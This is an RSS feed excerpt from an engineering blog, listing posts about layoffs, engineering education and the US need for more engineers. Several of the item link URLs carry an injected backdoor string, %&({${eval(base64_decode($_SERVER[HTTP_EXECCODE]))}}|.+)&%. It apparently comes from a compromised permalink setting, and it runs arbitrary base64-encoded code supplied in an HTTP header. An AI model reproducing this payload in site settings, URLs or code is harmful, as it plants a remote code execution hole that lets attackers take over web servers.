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	<title>Blog at ControlTheoryPro.com &#187; the need for more engineers</title>
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		<title>Reflections after a layoff…</title>
		<link>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 10 Oct 2009 22:19:22 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[Slow times at a company usually lead to layoffs.  But this is a scenario where everyone loses.  I think there's a way for everyone to win and the company to come out stronger.]]></description>
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		<title>Reverse Brain Drain&#8230;</title>
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		<pubDate>Fri, 31 Oct 2008 04:08:17 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[For years the US has relied on foreign born engineers to supplant low US graduation rates.  India is starting to see some of its best and brightest return.  If the trend grows much it could spell serious trouble.]]></description>
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		<title>Layoffs</title>
		<link>http://blogs.controltheorypro.com/2008/09/22/layoffs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Mon, 22 Sep 2008 19:26:24 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[Layoffs suck...  What does it do to the employees?  Is it a good idea to drag layoffs out?  Hell no, make them quick and decisive.  Don't linger, don't equivocate and stop laying off more people than absolutely necessary.]]></description>
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		<title>Engineering Education</title>
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		<pubDate>Sat, 09 Aug 2008 20:06:51 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[Engineering education is still based on an obsolete set of industry needs.  Testing and homework are obsolete.  It's time to rethink engineering education.]]></description>
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		<title>The US needs more native born engineers</title>
		<link>http://blogs.controltheorypro.com/2008/07/26/the-us-needs-more-native-born-engineers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 26 Jul 2008 19:50:07 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[The USA needs more engineers and scientists to continue to drive our economy and secure our country.  Our military&#8217;s dominance is obviously tied to our technology.  We couldn&#8217;t possibly match China man for man due to the shear number of Chinese available to fight.  Our economic dominance is also due to technology.  Technology allows us [...]]]></description>
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		<title>Talk vs. Actions &#8211; CEOs say they need more engineers but they don&#8217;t act like it</title>
		<link>http://blogs.controltheorypro.com/2008/07/26/talk-vs-actions-ceos-say-they-need-more-engineers-but-they-dont-act-like-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 26 Jul 2008 19:10:02 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[Repeatedly the new media and CEOs claim we need more engineers and scientists.  However, the actions of companies (wages, benefits, retention) do not reflect a shortage of engineers.]]></description>
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